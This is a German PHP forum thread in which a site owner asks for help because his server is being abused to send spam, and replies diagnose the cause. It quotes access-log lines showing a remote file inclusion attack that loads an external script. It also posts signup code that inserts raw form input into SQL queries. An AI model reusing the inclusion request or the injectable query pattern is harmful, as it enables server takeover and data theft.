Spamcode einschleusen und damit Mails Verschicken

mvoigt

Mitglied
Hallo,
weis nicht ob das richtig ist aber hat sicherlich was mit PHP zu tun

ich hab folgedes problem das sich einer mein Server als spamserver misbraucht

in der acesslog hab ich folgendes stehen

193.93.96.181 - - [16/Nov/2006:02:33:23 +0100] "POST /home.php?page=http://www.geocities.com/babarob100/ABBI.txt? HTTP/1.0" 200 32108 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
193.93.96.181 - - [16/Nov/2006:02:33:25 +0100] "POST /home.php?page=http://www.geocities.com/babarob100/ABBI.txt? HTTP/1.0" 200 32066 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
193.93.96.181 - - [16/Nov/2006:02:33:33 +0100] "GET /easyonline.php HTTP/1.0" 200 18 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

meine Mailq ist immer voll mit über 10000 einträgen und ne abmahnung von meinem Hoster hab ich auch schon.

die Formulare hab ich schon abgesichert mit diesem code:

PHP:
<?
include ("config.inc.php");
include('db.php');
if(!$step){

?>
<html>

<head>
<meta http-equiv="Content-Language" content="de">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<title><? echo "$dienstname"; ?> Startseite</title>
</head>

<body>
 
<form name="anmelden" action="home.php?step=1&page=signup" method="post">

<b><center><h2><font color=brown>Anmeldung</font></b></h2></center>

        <p><b><center>Bitte füllen Sie für Ihre Registrierung dieses Formular korrekt und vollständig aus!</center></b></p>
        <table border="0" cellpadding="0" cellspacing="2" >
                <tr>
                        <td>Username:</td>
                        <td><input type="text" name="username" size="40"> (nur Zeichen a-z, A-Z, 0-9)</td>
                </tr>
                <tr height="10">
                        <td height="10"></td>
                        <td height="10"></td>
                </tr>
                <tr>
                        <td>Anrede:</td>
                        <td><select name="anrede" size="1">
                                        <option value="Herr">Herr</option>
                                        <option value="Frau" selected>Frau</option>
                                </select></td>
                </tr>
                <tr>
                        <td>Vorname:</td>
                        <td><input type="text" name="vorname" size="40"></td>
                </tr>
                <tr>
                        <td>Nachname:</td>
                        <td><input type="text" name="nachname" size="40"></td>
                </tr>


                <tr>
                        <td>Geburtsdatum:</font></td>
                        <td><select name="gtag" size="1"><?
                                        for ($a=01;$a<=31;$a++)
                                        {
                                        echo "<option value='$a'>$a</option>";
                                        }
                                        ?>
                                        </select><select name="gmonat" size="1">
                                        <?
                                        for ($a=01;$a<=12;$a++)
                                        {
                                        echo "<option value='$a'>$a</option>";
                                        }
                                        ?>
                                        </select><select name="gjahr" size="1">
                                       <?
                                        for ($a=1992;$a>=1901;$a--)
                                        {
                                        echo "<option value='$a'>$a</option>";
                                        }
                                        ?>
                                </select></td>
                </tr>
                <tr>
                        <td>Strasse:</td>
                        <td><input type="text" name="str" size="40"></td>
                </tr>
                <tr>
                        <td>Plz:</td>
                        <td><input type="text" name="plz" size="40"></td>
                </tr>
                <tr>
                        <td>Stadt:</td>
                        <td><input type="text" name="stadt" size="40"></td>
                </tr>
                <tr>
                        <td>Land:</td>
                        <td><select name="land">
<option value="Deutschland">Deutschland</option>
<option value="Österreich">Österreich</option>
<option value="Schweiz">Schweiz</option>
<option value="Sonstige">Sonstige</option>
</td>
                </tr>
                <tr height="10">
                        <td height="10"></td>
                        <td height="10"></td>
                </tr>
                <tr>
                        <td>Email:</td>
                        <td><input type="text" name="email" size="40"></td>
                </tr>

                                      <?  /*
                        mysql_connect("localhost",$mysqlusername,$mysqlkennwort);
                        @$res = mysql_db_query($dbname,"select * from reftracker where ip like '$REMOTE_ADDR'");
                        @$refid = mysql_result($res,0,"refid");*/
                        if (empty($reff[ref])){ $reff[id]=0; }else{ ?>
                                        <tr height="10">
                        <td height="10"></td>
                        <td height="10"></td>
                </tr>

                <tr>
                        <td>geworben von:</td>
                        <td><b><font size="1"><?

                        echo "$refid"; ?></b><input type="text" readonly value="<? echo $reff[ref]; ?>" name="ref"></font></td>
                </tr>

                <?PHP } ?>
                <tr height="10">
                        <td height="10"></td>
                        <td height="10"></td>
                </tr>
                <tr>
                        <td>Newsletter:</td>
                        <td><select name="newsletter" size="1">
                                        <option value="1">empfangen</option>
                                        <option value="0">nicht empfangen</option>
                                </select></td>
                </tr>





        </table> <br>
        <p><b><br>Ihre Interessengebiete:</b></p>
        <table border="0" cellpadding="0" cellspacing="1" width="585">
                <tr>
                                             <td><input type="checkbox" name="i1" value="1">

                <? echo $interesse1 ?><br>
                        </td>
                        <td><input type="checkbox" name="i9" value="1">

                <? echo $interesse9 ?><br>
                        </td>
                        <td><input type="checkbox" name="i16" value="1">

                <? echo $interesse16 ?><br>
                        </td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i2" value="1">

                <? echo $interesse2 ?><br>
                        </td>
                        <td><input type="checkbox" name="i10" value="1">

                <? echo $interesse10 ?><br>
                        </td>
                        <td><input type="checkbox" name="i17" value="1">

                <? echo $interesse17 ?><br>
                        </td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i3" value="1">

                <? echo $interesse3 ?><br>
                        </td>
                        <td><input type="checkbox" name="i11" value="1">

                <? echo $interesse11 ?><br>
                        </td>
                        <td><input type="checkbox" name="i18" value="1">
                <? echo $interesse18 ?><br>
                                </font></td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i4" value="1">

                <? echo $interesse4 ?><br>
                        </td>
                        <td><input type="checkbox" name="i12" value="1">

                <? echo $interesse12 ?><br>
                        </td>
                        <td><input type="checkbox" name="i19" value="1">

                <? echo $interesse19 ?><br>
                        </td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i5" value="1">

                <? echo $interesse5 ?><br>
                        </td>
                        <td><input type="checkbox" name="i13" value="1">

                <? echo $interesse13 ?><br>
                        </td>
                        <td><input type="checkbox" name="i20" value="1">

                <? echo $interesse20 ?><br>
                        </td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i6" value="1">

                <? echo $interesse6 ?><br>
                        </td>
                        <td><input type="checkbox" name="i14" value="1">

                <? echo $interesse14 ?><br>
                        </td>
                        <td><input type="checkbox" name="i21" value="1">

                <? echo $interesse21 ?><br>
                        </td>
                </tr>
                <tr>
                        <td><input type="checkbox" name="i7" value="1">

                <? echo $interesse7 ?><br>
                        </td>
                        <td><input type="checkbox" name="i15" value="1">

                <? echo $interesse15 ?><br>
                        </td>
                        <td><input type="checkbox" value="1" name="i22">
                <? echo $interesse22 ?></td>
                </tr>
                <tr>
                        <td><input type="checkbox" value="1" name="i8"> <? echo $interesse8 ?></td>
                        
                        <td></td>
                </tr>
        </table> <br>

        <div align="left">
		Wählen Sie mindestens 3 Interessengebiete aus
                <p>Mit dem Absenden dieses Formulares akzeptieren Sie unsere <a href="home.php?page=agbs"><font color="black">AGB</a></p>
        </div>
        <p><input type="submit" name="submitButtonName"></font></p>
</form>
</body>

</html>
<?PHP }else{
if (empty($username) or empty($vorname) or empty($nachname) or empty($str) or empty($plz) or empty($stadt) or empty($land) or empty($email))
{
echo $signup_false1;
}
else
{
$username=$_POST[username];
$email=$_POST[email];

	/* Passwort Basteln */
	$pass=rand(10000,999999);
	$pass2=md5($pass);
 
include('config.inc.php');

$text=" Sehr geehrtes Mitglied,

das Team von $dienstname bedankt sich für Ihre Anmeldung.

Sie verdienen bei uns durch Ihre Aktivität Paraden, die monatlich in Euro umgerechnet werden. Paraden ist die virtuelle Währung von $dienstname, und deren Wert ist abhängig von unseren Werbeeinnahmen. Ihr monatlich steigendes Guthaben werden wir Ihnen auf Ihr deutsches Bankkonto oder auf Ihr PayPal Konto nach Erreichen der Auszahlungsgrenze von 1 Euro überweisen.

Wir schicken Ihnen ab sofort regelmäßig Werbebotschaften und Sie erhalten für die Bestätigung eine bestimmte Vergütung. Neben den bezahlten Werbemails bieten wir Ihnen aber viele weitere lukrative Möglichkeiten, Ihren Verdienst zu steigern. Weitere Informationen entnehmen Sie bitte unserer Seite der Kategorie Verdienst.

Unser Ziel ist es, unseren Mitgliedern die Möglichkeit eines hohen Verdienstes zu bieten. Helfen Sie uns dabei, dieses Ziel zu erreichen, indem Sie auch die Werbepartner auf unserer Seite beachten (z. B. Ausladen der PopUps, Klicks auf Werbebanner, usw.). Wir sind ständig auf der Suche nach neuen und attraktiven Sponsoren, die Werbeangebote anbieten, die genau Ihren Interessen entsprechen.

Denn nur gemeinsam erreichen wir einen sehr guten Umrechnungskurs der Paraden in Euro.

Ihre Zugangsdaten für den Mitgliederbereich:

Mitgliedsname: ".$username."
Passwort: ".$pass."

 ".$dienstname." Login:
 ".$diensturl."/home.php?page=login

Ihr Referallink für das Werben neuer Mitglieder:
 ".$diensturl."/?ref=".$username."

Hier geht es zum $dienstname Forum:
 ".$diensturl."/forum

Mit freundlichen Grüßen
Ihr Team von ".$dienstname."";
$email = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$email );
$pass = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$pass );
$text = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$text );
$username = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$username );
$diensturl = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$diensturl);
$dienstemail = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$dienstemail);
$dienstname = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$dienstname);

$betreff=$dienstname." Zugangsdaten";
$betreff = preg_replace( "/(content-type:|bcc:|cc:|to:|from:)/im", "",$betreff);

         if ( ! eregi("^[_\\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\\.)+[a-z]{2,3}\$", $email) )
		 	{
			 echo"Ungültiges Email-Format!";
             }
             elseif (!preg_match ("/^[a-zA-Z0-9\-_]+$/", $username))
             {
			 echo"Fehler im Namen - Spamschutz ".$username." " ;
             }
             elseif (!preg_match("/^[0-9a-zA-Z]+$/", $pass))
             {
			 echo"Fehler im Namen - Spamschutz " ;
             }
             elseif (preg_match ("/@/", $text))
             {
			 echo"Fehler: Bitte kein @ in der Nachricht- Spamschutz " ;
             }
             elseif (preg_match ("/@/", $betreff))
             {
			 echo"Fehler: Bitte kein @ im Betreff - Spamschutz " ;
             }
else{
echo $signup_true ;
$check=mysql_num_rows(mysql_query("SELECT username FROM user WHERE email='$_POST[email]' OR username='$_POST[username]'"));

if($check ==0){
	$check=mysql_num_rows(mysql_query("SELECT username FROM ref WHERE username='$_POST[username]'"));
	echo mysql_error();
	if($check ==0){


	/* Passwort Basteln */
	$pass=rand(10000,999999);
	$pass2=md5($pass);


	/* ENDE PASSWORT BASTELN */

	$datum=time();


mysql_query("INSERT INTO user (username, pass, email, anrede, vorname, nachname, gtag, gmonat, gjahr, str, plz, stadt, land, refid, newsletter, empfangen, bestaetigt, punkte, registrierung, letzterlogin) VALUES ('$_POST[username]', '$pass2','$_POST[email]', '$anrede', '$vorname', '$nachname', '$gtag', '$gmonat', '$gjahr', '$str', '$plz', '$stadt', '$land', '$ref', '$newsletter', '0', '0', '0', '$datum', '0') ");
echo mysql_error();

$check2=mysql_fetch_array(mysql_query("SELECT id FROM user WHERE email='$email' AND username='$username'"));
echo mysql_error();



mysql_query("INSERT INTO interessen VALUES ('$check2[id]', '$i1', '$i2', '$i3', '$i4', '$i5', '$i6', '$i7', '$i8', '$i9', '$i10', '$i11', '$i12', '$i13', '$i14', '$i15', '$i16', '$i17', '$i18', '$i19', '$i20', '$i21', '$i22', '0', '$username')");
echo mysql_error();

if($reff[ref]){

$query=mysql_fetch_array(mysql_query("SELECT * FROM ref WHERE username='$reff[ref]'"));
echo mysql_error();

						mysql_query("INSERT INTO ref(username, ref1, ref2, ref3 , ref4, ref5, ref6, ref7, ref8, ref9, ref10, ref11) VALUES('$username', '$reff[ref]', '$query[ref1]', '$query[ref2]', '$query[ref3]', '$query[ref4]', '$query[ref5]', '$query[ref6]', '$query[ref7]', '$query[ref8]', '$query[ref9]', '$query[ref10]') ");
					echo mysql_error();


					}

$refrallytext=file("admin/refrally.txt");
for($i=0;$i<count($refrallytext);$i++){
  $refrallytextnew=$refrallytextnew.$refrallytext[$i];
}
$split=split("@",$refrallytextnew);
if (time()<$split[1]) {
	$SQL="UPDATE user SET refrally=refrally+1 WHERE username='$ref'";
	mysql_query("$SQL");
	echo mysql_error();
}
mail($email, $betreff, $text, "From: $dienstname <$dienstemail>");

}
}
else
{
echo $signup_false2;
}
}

}
}

das mit regplace habe ich in jeder datei die was mit mail() drinne hat ,natürlich variabeln angepasst

ist es irgentwie möglich code von auserhalb einzuschleusen und denn mein mailserver dafür zugebrauchen?

wäre über jede hilfe dankbar

um diese domain handelt es sich:
http://www.paidpara.de/home.php?page=start

gruss Matthias
 
193.93.96.181 - - [16/Nov/2006:02:33:23 +0100] "POST /home.php?page=http://www.geocities.com/babarob100/ABBI.txt? HTTP/1.0" 200 32108 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
193.93.96.181 - - [16/Nov/2006:02:33:25 +0100] "POST /home.php?page=http://www.geocities.com/babarob100/ABBI.txt? HTTP/1.0" 200 32066 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
193.93.96.181 - - [16/Nov/2006:02:33:33 +0100] "GET /easyonline.php HTTP/1.0" 200 18 "http://paidpara.de/home.php?page=http://www.geocities.com/babarob100/ABBI.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
Anhand dieser Meldung siehst du eigentlich schon, wie er es gemacht hat.
Du includest einfach eine Datei ohne vorherige Prüfung in der home.php!

Und er ruft einfach eine eigene PHP Datei auf. Deine home.php öffnet sie einfach und parst den gesamten Code, in diesem Fall wahrscheinlich ein Spamscript.
Am besten prüfst du vor include ob die Datei existiert und beschränkst es auf lokale Pfade.

Wenn wir dir helfen sollen, poste bitte deine home.php.
 
Hallo!

Kurze Frage dazu:

Dieses Sicherheitsproblem tritt nur auf, wenn eine Variable includiert wird, oder?
Bin gerade etwas verunsichert :rolleyes:

Also

PHP:
include ($_GET['xxx']);

nicht aber bei einem "normalen"

PHP:
include(/data/irgendwas.inc.php)

und gilt auch für require, require_once etc.

Grüße

Martin
 
Ja, absolute Werte können nicht wirklich von außen verändert werden... (Zumindest wüsste ich spontan keine Möglichkeit)
 
Zurück